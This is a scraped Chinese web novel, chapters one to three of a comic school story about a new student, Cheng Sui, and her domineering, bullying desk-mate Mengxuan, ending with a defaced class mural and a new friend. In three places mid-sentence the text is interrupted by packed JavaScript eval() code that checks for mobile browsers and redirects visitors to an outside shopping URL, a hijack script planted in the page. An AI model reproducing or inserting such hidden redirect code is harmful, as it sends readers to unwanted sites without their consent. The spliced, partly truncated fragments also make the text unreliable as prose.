《这个班没救了》 1. 第 1 章 九月的阳光毒得能晒死人。 我拖着行李箱站在校门口，看着“市第二高级中学”七个烫金大字在太阳底下闪闪发光，心想：如果我有罪，法律会惩罚我，而不是让我在三十五度高温里报道。 “同学！姐妹！” 一个尖利的女声从我身后炸开。 我还没回头，肩膀就被用力拍了一下。转身，对上一双画着夸张眼线、正上下打量我的眼睛。 “新来的？”她嘴里嚼着口香糖，泡泡吹破又吸回去，“看你这老实巴交的样，跟我混吧。我叫梦萱，做梦的梦，萱草的萱。记住了，以后这个学校，我罩你。” 我沉默三秒，在脑内完成了以下判断： 1. 这女生应该和我同级，身高约一米六，体重目测110往上。 2. 她额头上有很多痘痘，看的人密恐都犯了，另外发际线高得能跑马。 3. “跟我混”这种台词，我上次听到还是在古惑仔电影里。 4. 她身上的香水味浓得像打翻了花露水瓶。 5. 她像那个急于传销的线下传销头子。 “我叫穗。”我说，“禾字旁那个穗。” “穗？真土。”她吹了个泡泡，“以后我叫你穗子吧，听起来像日本名，高级。” “……” “走，带你去教室。”她自来熟地揽住我的肩膀，“高一三班，我看了分班表，咱俩同班。这就是缘分，懂吗？” 我被她半拖半拽地往教学楼走，脑子里只有一个念头：开学第一天，我就遇到了传说中的社交恐怖分子。 --- 高一三班的教室闹哄哄的。 梦萱一进门就放开我，走到讲台上，用力拍了拍黑板擦。 “安静！” 全班静了一瞬，几十双眼睛齐刷刷看向她。 “听好了，”梦萱叉着腰，目光扫过教室，“从今天起，这个班，我，梦萱，说了算。不服的现在站出来。” 死一般的寂静。 后排一个男生小声嘀咕：“你谁啊……” “你！”梦萱精准地指向他，“你叫什么？” “王、王浩……” “好，王浩是吧？”梦萱走下讲台，走到他面前，盯着他看了三秒，“你鼻毛该剪了，露出来三根，左边一根右边两根。以后你就叫‘鼻毛王’。” 全班爆发出压抑的笑声。 王浩脸涨得通红。 “还有你，”梦萱转向他同桌，“戴眼镜这个，镜片厚得跟啤酒瓶底似的，你叫‘显微镜’。” “你，穿粉衣服的，脸色这么黄还穿粉，找死呢？‘黄桃罐头’。” “你，个子这么矮坐最后一排，踮着脚看黑板呢？‘地精’。” 她像皇帝巡视领地，五分钟内给全班一半人起了外号。整个过程行云流水，仿佛这是她的天赋技能。 我找了个靠窗的空位坐下，尽量降低存在感。 但该来的总会来。 梦萱转完一圈，走到我面前，歪着头看我：“你……穗子是吧？你长得……” 她停顿，我屏住呼吸。 “……太正常了。”她得出结论，“没特点，不好起外号。先叫你‘正常人’吧，这是对你的侮辱，因为在这个班，正常就是原罪。” 我：“……谢谢？” “不客气。”她一屁股坐在我旁边的空位上，“以后你就是我同桌了。” “可是……” “没有可是。”她掏出小镜子开始补口红，“跟我坐是你的荣幸。” 我看着她的烈焰大红唇，默默转头看向窗外，开始思考转学的可能性。 --- 班主任是个看起来很和蔼的中年女人，姓李。她简单介绍了班级纪律，然后开始点名。 “程穗。” “到。”我举手。 梦萱在旁边小声说：“原来你姓程啊。程穗，陈年老穗，更土了。” 我假装没听见。 点完名，李老师说：“我们需要一个临时班长，开学第一周负责些杂事。有谁自愿吗？” 没人举手。 梦萱突然高高举起手：“老师！我推荐程穗！” 我猛地转头看她。 “程穗同学看起来就很负责任，”梦萱说得一本正经，“而且她刚才主动帮同学搬书，乐于助人，适合当班长。” 我什么时候帮人搬书了？ 李老师看向我：“程穗同学，你愿意吗？” 全班的目光再次聚焦。我知道，如果拒绝，接下来一周我可能会被梦萱起一百个外号。 “……愿意。”我说。 “好，那就暂定程穗。”李老师笑了，“下面我们选各科课代表……” “老师！”梦萱又举手，“我推荐‘鼻毛王’当生物课代表！他对毛发有深入研究！” 王浩的脸从红转紫。 “我推荐‘显微镜’当物理课代表！他能看清光的折射！” 戴眼镜的男生低头推了推眼镜。 “我推荐‘黄桃罐头’当语文课代表！她需要多读点书提升气质！” 粉衣服的女生快哭了。 李老师的笑容僵在脸上：“这位同学，我们还是让同学们自愿报名吧……” “自愿多没意思。”梦萱耸肩，“行吧，那我不说了。” 但她的“推荐”已经让那几个人社死了。接下来一整节课，没人敢看他们。 --- 下课铃响，梦萱拉着我去小卖部。 “请你喝饮料，”她说，“庆祝你当上班长。” “我不渴……” “我说你渴你就渴。” 小卖部门口人挤人。梦萱像条泥鳅一样钻进去，五分钟后拿着两瓶冰红茶出来，递给我一瓶。 “给你。”她说。 “……谢谢。”我接过来，发现瓶盖是拧开的。 “哦，我帮你拧开了，”梦萱说，“怕你力气小拧不动。” 我看着她，突然觉得……这人好像也没那么坏？ 然后下一秒，她就把空瓶子扔进了花坛。 “喂，那边那个！”她朝一个正在扫地的保洁阿姨喊，“瓶子捡一下，乱丢垃圾影响校园美观！” 我：“……” 阿姨瞪了她一眼，还是走过来捡起瓶子。 “看到了吗？”梦萱对我说，“在这个学校，你要够凶，别人才会听你的。” “可是……” “没有可是。”她摆摆手，“走，带你去认认老师办公室，以后你是班长，得常去。” --- 教师办公楼在一号楼三层。我们上楼时，迎面下来一个中年男老师。 他大约五十岁，头顶的地中海在走廊灯光下闪闪发亮，两侧的白发倔强地梳向中间，试图掩盖那片不毛之地。他走得很慢，手里抱着一摞政治课本。 “哟，这不是鲁老师吗？”梦萱突然开口。 男老师停下脚步，看向我们。他的眼睛很小，眼袋很大，嗓音沙哑得像砂纸磨木头：“同学，有事？” “没事，就是跟您打个招呼。”梦萱笑得天真无邪，“鲁老师，您今天的发型真别致，中间这块亮得能当镜子照。” 鲁老师的脸以肉眼可见的速度黑了。 “您教哪个班啊？”梦萱继续问。 “高一……五班。”鲁老师从牙缝里挤出几个字。 “五班啊，那可惜了，我在三班。”梦萱叹气，“不然就能天天欣赏您的发型了。对了老师，您听说过生发液吗？我爸用过一款，特好用，要不要推荐给您？” 鲁老师抱着课本的手在抖。 我赶紧拽梦萱的袖子：“我们该走了……” “急什么？”梦萱甩开我，“鲁老师，您别灰心，秃顶是智慧的象征。您看那些伟人，爱因斯坦，牛顿，都秃……” “够了！”鲁老师低吼一声，转身快步下楼，脚步重得像在踩蟑螂。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064635|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 等他走远，梦萱哈哈大笑：“看到没？这些老师，你越怕他们，他们越拽。你要比他们还拽，他们就怂了。” 我看着她笑得前仰后合的样子，突然意识到：这个女生，可能不是简单的“社交恐怖分子”。 她是一枚行走的炸弹。 而且她似乎选中我当她的引爆器。 --- 下午最后一节课是自习。李老师让我们填个人信息表。 我正认真填写，梦萱凑过来：“穗子，你生日几月？” “十一月。” “天蝎座啊，记仇，不好惹。”她点头，“我六月，双子，双重人格。” 我：“……哦。” “你爸妈干什么的？” “我爸是工程师，我妈是会计。” “普通家庭啊。”她撇嘴，“我爸开厂的，我妈全职太太。我家有三套房两辆车。” 我不知道该怎么接话。 “以后有人欺负你，报我名字。”她拍拍胸脯，“在这个学校，我罩你。” “为什么？”我终于问出口，“我们才认识一天。” “因为你看起来……”她托着下巴想了想，“像那种会认真听我说话的人。其他人要么怕我，要么讨厌我，要么想泡我。你不一样，你看我的眼神里没有那些乱七八糟的东西。” 她顿了顿，难得语气认真：“你就是单纯觉得我有病。” 我：“……”被看穿了。 “但我确实有病。”她又笑起来，“精神病，没得治的那种。所以你要习惯。” 说完，她趴桌上开始睡觉。 我看着她后脑勺翘起的一缕头发，在夕阳下泛着金光，突然觉得这个场景有点……荒谬的温馨。 也许高中生活就是这样？总会遇到几个奇葩，把原本平淡的日子搅得天翻地覆。 但我没想到的是，这个奇葩，未来三年会给我带来多少“惊喜”。 --- 放学铃响，我收拾书包准备回家。 “等等。”梦萱叫住我，“加个微信。” 我们互加了好友。她的头像是自己的怼脸自拍，昵称是“女王大人”。 “明天见，穗子。”她背起书包，“记住，你是我的人。” “……我只是你同桌。” “一样。”她挥挥手，蹦蹦跳跳地走了。 我走出教室，走廊里熙熙攘攘。经过五班门口时，我无意间往里瞥了一眼。 靠窗的座位上，坐着一个黑色短发的女生。她低着头在画画，周围的热闹仿佛与她无关。她的课本立着，上面用铅笔画满了各种Q版小人。 她似乎感觉到我的目光，抬起头。 我们对视了一秒。 她推了推不存在的眼镜，冲我露出一个很淡的微笑，然后低下头继续画。 我走出教学楼，九月的晚风吹散了白天的燥热。 手机震动，是梦萱发来的消息： 「明天记得给我带早餐，我要豆浆油条，豆浆要甜的，油条要脆的。」 我回复：「我不是你保姆。」 「你现在是了【爱心】」 我叹了口气，低声骂了句“傻逼”，把手机塞回口袋。 抬头看天，夕阳把云染成橘红色。 我的高中生活，就这样，在一个颠婆的强行介入下，拉开了序幕。 而当时的我并不知道，这个班里还有一个隐形观察者，正用画笔记录着一切。 她的名字，叫洐沁。 她会在未来的某一天，递给我一包瓜子，说：“姐妹，你的苦日子还在后头呢。” 但那是后话了。 此时此刻，我只是一个刚刚当上班长、被颠婆缠上、对未来一无所知的普通高中生。 我只想回家吃我妈做的红烧肉，然后排表，拉群，写作业，睡觉。 明天的事，明天再说吧。 毕竟，在这个学校，保持正常，可能才是最艰难的挑战。 2. 第 2 章 梦萱说到做到。 第二天早上六点五十，我刚走到校门口，就收到她的微信轰炸： 「到哪了？」 「豆浆要烫的！」 「油条不准软！」 「三分钟内看不到你我就给别人起外号！」 我看了眼手里的塑料袋——甜豆浆、脆油条，甚至多加了一个茶叶蛋。我也不知道为什么要买，可能只是习惯性妥协。 走到教室门口，梦萱正翘着二郎腿坐在我的座位上，对着小镜子涂睫毛膏。 “晚了三十秒。”她头也不抬。 “排队的人多。” “借口。”她放下睫毛膏，接过塑料袋，“茶叶蛋？算你懂事。” 她剥开蛋壳，咬了一大口，蛋黄渣掉在校服领子上。 “看什么看？”她瞪我，“没见过美女吃饭？” 我迫使自己将目光从她酷似蜘蛛的眼睛上移开，默默走到旁边，等她吃完让座。 “鼻毛王”王浩从后门进来，看到梦萱，立刻转身想溜。 “站住。”梦萱嘴里塞满油条，含糊不清地说，“你昨天生物作业抄的谁的？” 王浩僵住：“我、我自己写的……” “放屁。”梦萱咽下油条，“你连线粒体是什么都不知道，能写出‘细胞是生命活动的基本单位’这种高级话？抄的‘显微镜’的吧？” 戴眼镜的“显微镜”同学正在喝水，闻言呛得直咳嗽。 “行啊，互相帮助。”梦萱擦擦手，“今天数学作业借我抄，这事就过去了。” 王浩如蒙大赦：“好好好！” “还有你，”梦萱转向“显微镜”，“物理笔记借我，不然我就告诉老师你眼镜度数是假的，其实你不近视，戴平光镜装逼。” “显微镜”的脸白了：“我、我真的近视……” “六百五十度？我舅舅开眼镜店的，你镜片厚度顶多三百。”梦萱站起来，走到他面前，伸手摘掉他的眼镜，“来，念黑板最上面那行字。” 黑板上写着值日生安排，字很小。 “显微镜”眯着眼，半天憋出一句：“今天……值日……” “值日什么？人名是什么？”梦萱追问。 “看、看不清……” “行了，还你。”梦萱把眼镜戴回他脸上，“三百五十度，撑死了。不过装得还挺像，以后继续，我喜欢看人演戏。” 她走回座位，对我眨眨眼：“怎么样，我这侦查能力，能当侦探了吧？” 我：“……”你这是霸凌。 但我没说出口。因为下一秒，梦萱从书包里掏出一盒巧克力，塞给我：“给你的，昨天谢了。” “谢什么？” “没在我起外号的时候跳出来装正义使者啊。”她拆开巧克力，自己先吃了一块，“那些圣母婊最烦人，动不动‘你怎么能这样’‘你要尊重别人’，呸，假惺惺。” 我握着巧克力，有点不知所措。 “吃啊，进口的，我爸客户送的。”她往我嘴里塞了一块，“甜吧？人生就得甜一点，苦大仇深给谁看。” 确实很甜，甜得发腻。 --- 第一节课是语文。老师是个温柔的女老师，姓周。 “今天我们学习朱自清的《背影》。”周老师说，“请大家默读课文，感受父爱的深沉。” 教室里响起翻书声。 五分钟后，梦萱举手：“老师，我有问题。” “请说。” “这篇课文是不是有点问题？”梦萱站起来，“父亲给儿子买橘子，爬月台，儿子就在那看着，也不帮忙？这不孝子啊。要是我爸，我肯定说‘爸你下来，我去买，你腰不好别摔着’。” 周老师笑了：“这是文学表达，重点在父亲的付出……” “付出也得讲究方法啊。”梦萱继续说，“而且父亲穿黑布大马褂，深青布棉袍，这穿搭太土了，要是穿得体面点，爬月台也不会那么吃力吧？” 全班窃笑。 周老师尴尬地推推眼镜：“这个……我们主要学习情感……” “情感也有问题。”梦萱不依不饶，“儿子都二十岁了，出远门还要爹送，巨婴吗？我十六岁就自己坐飞机去海南了。” “梦萱同学，请先坐下，我们继续……” “老师，我觉得语文课应该教点实用的。”梦萱坐下前还不忘补刀，“比如怎么骂人不带脏字，怎么怼人怼到点子上，这比学什么背影有用多了。” 周老师的笑容彻底消失。 下课铃响，她几乎是逃出教室的。 梦萱得意地对我笑：“看到没？这些老师，你一提现实问题，他们就虚了。” 我看着她，突然问：“你爸送你上过学吗？” 梦萱的笑容僵了一下，很快恢复：“送过啊，开奔驰送的。怎么了？” “没什么。”我低头整理笔记。 她沉默了几秒，突然抢过我的笔：“你什么意思？觉得我缺父爱？同情我？” “我没有……” “我最讨厌别人同情我。”她把笔扔回给我，“我爸好着呢，给我钱花，给我买衣服，比那些天天接送孩子、其实屁用没有的爹强多了。” 她说这话时，下巴抬得很高，像在示威。 但她的手指在微微发抖。 --- 中午食堂，梦萱强行拉我和她一起吃。 她打了三个荤菜：红烧肉、糖醋排骨、炸鸡排，堆得像小山。 “你吃得完吗？”我问。 “吃不完倒掉。”她夹了块红烧肉，“我家交的学费里包含餐费，我乐意浪费。” 我打了两个素菜，坐下默默吃。 “你就吃这个？”她皱眉，“跟兔子似的。来，吃肉。” 她把一块排骨夹到我碗里。 “谢谢，但我……” “闭嘴，吃。” 我看着她。她今天涂了红色口红，但不知怎的衬得皮肤更黄了，额头上的痘痘在食堂灯光下格外明显。不过她吃东西的样子很专注，仿佛这是世界上最重要的事。 “梦萱，”我突然说，“你为什么总跟老师对着干？” “好玩啊。”她头也不抬。 “不只是好玩吧。” 她停下筷子，盯着我：“那你觉得是因为什么？” “我不知道。”我老实说，“但我觉得……你好像很想让人注意你。” “废话，谁不想被注意？” “但方式有很多种。”我说，“你可以成绩好，可以参加活动，可以……” “太慢了。”她打断我，“成绩好得学多久才能考第一？参加活动得混多久才能当干部？我这种方式，一天，就一天，全校都知道高一三班有个梦萱。” 她凑近我，压低声音：“你知道人最怕什么吗？不是怕你多优秀，是怕你疯。你一疯，他们就怂了，就让着你了。这个世界，软的怕硬的，硬的怕不要命的，不要命的怕神经病的。我，就是那个神经病。” 她说这话时，眼睛里有一种近乎狂热的光。 我：不理解但尊重。 “那你为什么选我？”我问，“我也没多特别。” “因为你不会跑。”她说，“我骂你，你不会哭；我烦你，你不会躲；我跟你说话，你会听——虽然你心里肯定在吐槽。我需要一个这样的人，在我发疯的时候，在旁边看着，证明我没真的疯到没救。” 她顿了顿，声音低下来：“或者说，证明我真的疯了，也好。” 我不知道该怎么接话。 “吃你的饭。”她又恢复了那副吊儿郎当的样子，“下午数学课，我要跟数学老师battle函数定义，你帮我记着点，别让他用专业术语糊弄我。” --- 下午数学课果然精彩。 数学老师是个秃顶的中年男人，姓赵，脾气暴躁。 “函数是什么？函数就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064636|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是两个变量之间的对应关系！”赵老师敲着黑板，“记下来！重点！” 梦萱举手：“老师，我有问题。” 赵老师显然听说过她，脸一沉：“说。” “为什么一定要用f(x)表示？用y不行吗？多写个括号多麻烦。” “这是规定！” “规定就是对的吗？”梦萱说，“古代还规定女人要裹小脚呢。” “你……”赵老师气得手抖，“你爱学不学！” “学啊，但我要学明白。”梦萱站起来，“老师，你能用函数解释一下爱情吗？比如我喜欢一个人，我对他的好感度是x，他对我的反应是y，这算函数吗？” 全班哄堂大笑。 赵老师脸涨成猪肝色：“梦萱！出去站着！” “为什么？我问问题啊。”梦萱无辜地眨眨眼，“数学不是解释世界的工具吗？爱情不是世界的一部分吗？” “滚出去！” “行吧。”梦萱耸耸肩，拎着书包往外走，经过我身边时小声说，“帮我记笔记，晚上借我抄。” 她走出教室，靠在走廊墙上，居然从书包里掏出手机开始玩。 赵老师在教室里喘粗气：“你们……不准学她！谁学她，谁滚出去！” 但已经晚了。这节课后，梦萱的“函数爱情论”在年级里传开了。 --- 放学后，梦萱果然来找我借笔记。 “写得挺工整啊。”她翻着我的本子，“你这种人，以后肯定是那种规规矩矩过日子，结婚生子，一辈子没什么大波澜的类型。” “那样不好吗？” “好，但没意思。”她把笔记塞回给我，“走，带你去个好地方。” 她带我去了学校后门的奶茶店，点了两杯波霸奶茶。 “请你。”她说，“作为笔记的报酬。” 我们坐在店外的小桌上。夕阳西下，街道上车来车往。 “穗子，”梦萱咬着吸管，“你说，人活着到底图什么？” “不知道。” “我觉得是图爽。”她说，“想吃就吃，想骂就骂，想疯就疯。那些规矩啊道德啊，都是给怂人准备的枷锁。” “但你这样……会没朋友的。” “朋友？”她笑了，“我不需要朋友，我需要跟班，需要观众。你是观众里最合格的那个。” “为什么是我？” “因为你不会judge我。”她说，“其他人，要么想拯救我，要么想远离我，要么想利用我。你不一样，你就看着，像看一场戏。而我，需要一个不鼓掌也不喝倒彩的观众。” 她喝光奶茶，把杯子捏扁：“行了，回家吧。明天记得带早餐，我要小笼包和豆奶。” “……你还真不客气。” “跟你客气什么？”她站起来，“你是我的人。” 她说完就走了，马尾辫在夕阳下一甩一甩。 我坐在原地，看着她的背影，突然觉得这个“颠婆”，可能比我想象中复杂。 她不缺钱，不缺胆子，甚至不缺小聪明。 她缺的，是一个能告诉她“你这样不对，但没关系，我还在”的人。 而莫名其妙地，我成了那个人。 --- 晚上写作业时，手机震动。 是梦萱发来的消息： 「今天数学笔记第三题，你写的那个公式，是赵秃子讲错了吧？我查了，应该是f(x)=ax2+bx+c，不是f(x)=ax2+bx+c2」 我愣了，翻出笔记一看——我抄错了。 回复：「你看懂了？」 「废话，我智商130，只是懒得学【抠鼻】」 「那你怎么不跟赵老师说？」 「给他留点面子呗，毕竟秃成那样也不容易。」 我笑了。 也许，这个颠婆，真的能成为朋友？ 虽然是以一种极其抽象的方式。 3. 第 3 章 十月，学校要搞“班级文化评比”。 李老师在班会上宣布这个消息时，梦萱正在涂指甲油——鲜红色，涂得歪歪扭扭，像凶案现场。 “每个班要出一面墙，主题是‘我的青春梦想’。”李老师说，“班长负责组织，同学们积极参与，周五前完成。” 全班的目光落在我身上。 我站起来：“有谁自愿参加吗？” 一片死寂。 我：救命怎么没人理我，好尴尬…… “没人自愿的话，我就点名了。”我说，“王浩、张明、李晓雅……” “等等。”梦萱举手，“我参加。” 全班震惊。 连我都愣了：“你……确定？” “怎么，不行？”梦萱吹了吹指甲，“我的青春梦想可精彩了，保证让评委看了睡不着觉。” 我有种不祥的预感。 “还有谁？”我赶紧问。 “显微镜”陈磊小声说：“我、我也参加吧……” “黄桃罐头”刘晓雯举手：“我也来。” 最后组成了六人小组：我、梦萱、陈磊、刘晓雯，还有两个平时很安静的女生。 放学后，我们留在教室讨论方案。 “我觉得可以画星空，”刘晓雯说，“象征梦想广阔。” “太俗。”梦萱说。 “那……向日葵？象征朝气。” “更俗。” “那你说画什么？”陈磊推了推眼镜。 梦萱咧嘴一笑：“画骷髅。” “什么？！” “青春梦想不就是找死吗？”梦萱说，“十几岁觉得能改变世界，二十几岁被世界改变，三十几岁认命，四十几岁等死。不如直接画骷髅，诚实。” “不行。”我断然拒绝，“必须正能量。” “正能量？”梦萱翻白眼，“行啊，那就画一群人在学习，标题写‘好好学习天天向上’，够正能量吧？土得掉渣。” 最后我们折中：画一列火车穿过四季，象征青春旅程。我负责设计草图，陈磊擅长画画，刘晓雯字好看，负责写文字。 “那我呢？”梦萱问。 “你……帮忙涂色？”我说。 “涂色？幼稚。”她撇嘴，“行吧，我负责监工，确保你们不偷懒。” --- 接下来三天，每天放学后我们都在教室赶工。 我画了草图：火车从春天的樱花站出发，穿过夏日的海滩、秋天的枫林、冬日的雪原，最后驶向写着“未来”的彩虹隧道。 “还行。”梦萱看了评价，“就是太童话了，现实是火车可能脱轨。” “你就不能少说两句？”陈磊忍不住说。 “实话实说嘛。”梦萱坐在课桌上晃着腿，一边吃薯片一边指挥，“那个云画得太假了，现实中的云哪有那么规整？跟棉花糖似的。” 刘晓雯小声对我说：“她好烦。” 我叹气：“忍忍吧，周五就结束了。” 周四下午，墙画完成了八成。火车车身涂成天蓝色，车窗里画着小人的剪影，四季背景色彩鲜艳。 “明天再加点细节就行了。”我松了口气。 “我去买饮料。”梦萱跳下课桌，“你们要喝什么？” “矿泉水就行。”我说。 “我也要。”陈磊说。 “我要可乐。”刘晓雯说。 梦萱出去了。教室里只剩下我们四个，安静得有点不真实。 “班长，”刘晓雯突然说，“你为什么总惯着她？” “我没有……” “你就有。”陈磊也加入，“她说话那么难听，你从来不怼回去。她还老使唤你，让你带早餐，借作业抄，你都答应。” “因为……”我顿住了。 因为什么？因为我怕她？因为我懒得计较？还是因为……我觉得她其实没那么坏？ “我觉得她挺可怜的。”一直没说话的一个女生突然开口，“她爸妈好像离婚了，她跟爸爸住，但她爸经常不在家。” “你怎么知道？” “我妈跟她家保姆是老乡。”女生说，“听说她爸在外面有……反正不怎么管她。她妈在国外，一年回来一次。” 我们沉默了。 “那也不能这样啊。”陈磊说，“可怜不是作恶的理由。” “我知道。”我说，“但……算了，明天最后一天，坚持一下。” 梦萱回来了，拎着一袋饮料。 “给。”她扔给我一瓶矿泉水，“其他人自己拿。” 气氛有点尴尬。 “怎么了？”梦萱敏锐地察觉到了，“说我坏话了？” “没有。”我拧开瓶盖。 “肯定说了。”她笑了，“无所谓，说我坏话的人多了，不差你们几个。” 她走到文化墙前，盯着看了半天，突然说：“其实画得还行。” 我们都愣了。 “真的，”梦萱难得语气正常，“比我预想的好。那个彩虹隧道……挺有意思的。” 她说完就转身回座位了，背影有点不自在。 刘晓雯和陈磊对视一眼，没再说话。 那一刻，我几乎要以为，梦萱也许真的能变好。 --- 我错了。 大错特错。 周五早上，我第一个到教室。 推开门，看到文化墙的那一刻，我整个人僵在原地。 火车车厢上，被人用黑色马克笔画了一个巨大的、扭曲的、极其逼真的——大便。 不是卡通大便，是写实风。有纹理，有阴影，甚至还在“冒热气”。 大便旁边，用同样粗黑的笔迹写着： 「程穗的作品 点评：一坨屎 评分：0分 评审：梦萱」 我的大脑空白了三秒。 然后血液冲上头顶。 同学们陆续进来，看到墙，爆发出各种反应： “卧槽！” “谁干的？！” “太恶心了吧……” “梦萱写的？她疯了？” 梦萱是最后一个进来的。她哼着歌，蹦蹦跳跳，看到墙时，夸张地捂住嘴： “哎呀！这是谁干的？太缺德了吧！” 所有人都看着她。 “看我干嘛？”她一脸无辜，“又不是我干的。” “这上面写着你的名字。”陈磊指着墙。 “哦，对啊，写着我名字。”梦萱走到墙前，歪着头看，“但这字迹明显是模仿我的，有人想陷害我。” “就是你！”刘晓雯尖叫，“你昨天最后走的！” “证据呢？”梦萱耸肩，“教室又没监控。” 她转向我，笑容灿烂：“穗子，你不会怀疑我吧？咱俩可是好朋友。” 我看着她。看着她额头上新冒出的痘痘，看着她红色口红下得意的嘴角，看着她眼睛里那种“你能拿我怎样”的挑衅。 我想起这一个月： 她让我带早餐，我带了。 她骂人，我忍了。 她跟老师吵架，我装没看见。 她给我起外号，我接受了。 我以为我在包容一个“可怜”的人。 我以为我在维持表面的和平。 我以为……我能改变什么。 但我错了。 我只是在纵容一个以伤害他人为乐的人。 “是你干的。”我说。 声音很平静，我自己都意外。 梦萱的笑容僵了一下：“你说什么？” “是你干的。”我重复，“字迹是你的，马克笔是你昨天用的那支，就在你书包侧袋里。要拿出来对比吗？” 全班安静了。 梦萱的表情从惊讶变成恼怒，再变成那种熟悉的嘲讽： “是又怎样？画得不好还不让评价了？你这破画本来就丑，我这是帮你改进。” “改进就是画坨屎？” “艺术要真实。”她理直气壮，“青春本来就是屎，糊一身，臭烘烘，洗都洗不掉。我这是在揭露真相。” 我走到她面前。我们身高差不多，我能清楚地看到她瞳孔里我的倒影——一个气得发抖，但竭力保持冷静的人。 “道歉。”我说。 “凭什么？” “把墙擦干净，道歉。” “我不。”梦萱抱起手臂，“你能拿我怎样？告诉老师？去啊，看她信你还是信我。” 李老师这时走进教室，看到墙，倒吸一口凉气：“这……这是怎么回事？！” “老师！”梦萱抢先开口，“程穗把墙画坏了，还诬陷我！” “你胡说！”刘晓雯喊。 “都安静！”李老师头疼地看着墙，“程穗，你说。” 我看着梦萱。她也看着我，眼神里写着：你斗不过我。 我突然觉得很累。 不是生气，不是委屈，是累。 跟这种人纠缠，太累了。 “是我画的。”我说。 全班哗然。 “程穗你……”陈磊想说话，我抬手制止。 “大便是我画的，字也是我写的。”我看着李老师，语气平静，“我想表达的是……青春有时候确实像一坨屎，糊里糊涂，又臭又脏，但总要自己擦干净。” 李老师目瞪口呆。 梦萱也愣了，没想到我会认。 “我会负责清理干净。”我说，“……今天放学后我一个人完成。” “你……你确定？”李老师显然不信，但她可能也不想深究了。 “确定。”我说。 李老师叹口气：“那今天先上课吧。程穗，放学后你留下来处理。” “好。” 课间，梦萱凑到我身边：“你什么意思？替 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064637|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我背锅？想让我欠你人情？” 我没理她，继续抄笔记。 “喂，跟你说话呢。”她推我肩膀。 我放下笔，转头看她。 看了很久，久到她有点不自在了。 “看什么看？” “梦萱，”我说，“我们以后不是朋友了。” 她嗤笑：“谁稀罕跟你当朋友？” “那就好。”我点头，“从今天起，你走你的阳关道，我过我的独木桥。你爱怎么疯怎么疯，爱给谁起外号起外号，别来惹我。” “你以为我怕你？” “我不需要你怕我。”我说，“我只需要你离我远点。” 我说得很慢，很清晰，确保每个字她都听清楚了。 梦萱脸上的笑容一点点消失。 她似乎终于意识到：我是认真的。 “行啊。”她后退一步，声音拔高，“你以为我多喜欢你？你这种假正经的圣母婊，我早就看腻了！” “那就好。”我重复。 她瞪了我一眼，转身走了，把桌椅撞得哐当响。 全班都在看我们。 但我不在乎了。 --- 放学后，同学们都走了，只剩我一个人在教室。 我打来一桶水，站在文化墙前，看着那个巨大的大便涂鸦。 其实画得挺有水平——阴影处理得很好，立体感强，甚至有种荒诞的艺术感。 可惜是画在别人心血上的。 我拿起抹布，开始擦。 黑色的马克笔很难擦，用力擦会损坏墙皮，不用力又擦不掉。我擦得很慢，一点点，一点点。 擦了半个小时，只擦掉一小片。 “用这个试试。” 一个声音从门口传来。 我转头。是那个黑色短发、总在画画的女生——五班的那个。 她走进来，递给我一瓶液体：“酒精，能擦掉油性笔。” “谢谢。”我接过来。 “不用谢。”她在后排找了个位置坐下，从书包里掏出素描本，“你继续，我画我的。” “你……” “我叫洐沁。”她说，“五班的。跟你一样，也是个‘正常人’。” 她说话时没抬头，铅笔在纸上沙沙作响。 我犹豫了一下，还是用了酒精。果然好擦多了。 我们谁也没再说话。教室里只有我擦墙的声音，和她画画的声音。 一个小时后，墙终于擦干净了，但留下了大片水渍和破损。 “得重新刷漆。”我说。 “明天周末，让学校后勤弄吧。”洐沁说，“你一个人画不完。” “但我答应老师……” “你答应的是‘处理干净’，已经处理干净了。”洐沁合上素描本，走过来，“剩下的不是你的责任。” 她递给我一包东西。 是瓜子。 “磕吗？”她说，“下午那出《霸道颠婆爱上我之决裂篇》，我给9.8分。扣0.2分因为你骂人词汇量不足。” 我愣住了。 然后，在空荡荡的教室里，在残留着酒精和大便涂鸦痕迹的文化墙前，我笑了。 笑得眼泪都出来了。 “谢了。”我接过瓜子。 “不客气。”洐沁也笑了，“正式认识一下，我是你的新同桌——，我转班了，李老师刚调的座位表，下周一开始，你旁边那个调走了，我补上。” “为什么？” “因为我也需要一个‘正常人’同桌。”她说，“而你需要一个能递瓜子的人。” 她拿起书包：“走了，周一见。” “洐沁，”我叫住她，“你为什么帮我？” 她站在门口，回头，推了推不存在的眼镜： “因为在这个学校，正常人得抱团取暖。” “否则，”她补充，“会被颠婆们各个击破。” 她走了。 我站在教室里，看着空白的墙，看着手里的瓜子，突然觉得，高中生活也许没那么糟糕。 至少，我有了一个能递瓜子的同桌。 而那个颠婆……随她去吧。 有些人，注定只能陪你走一段路。 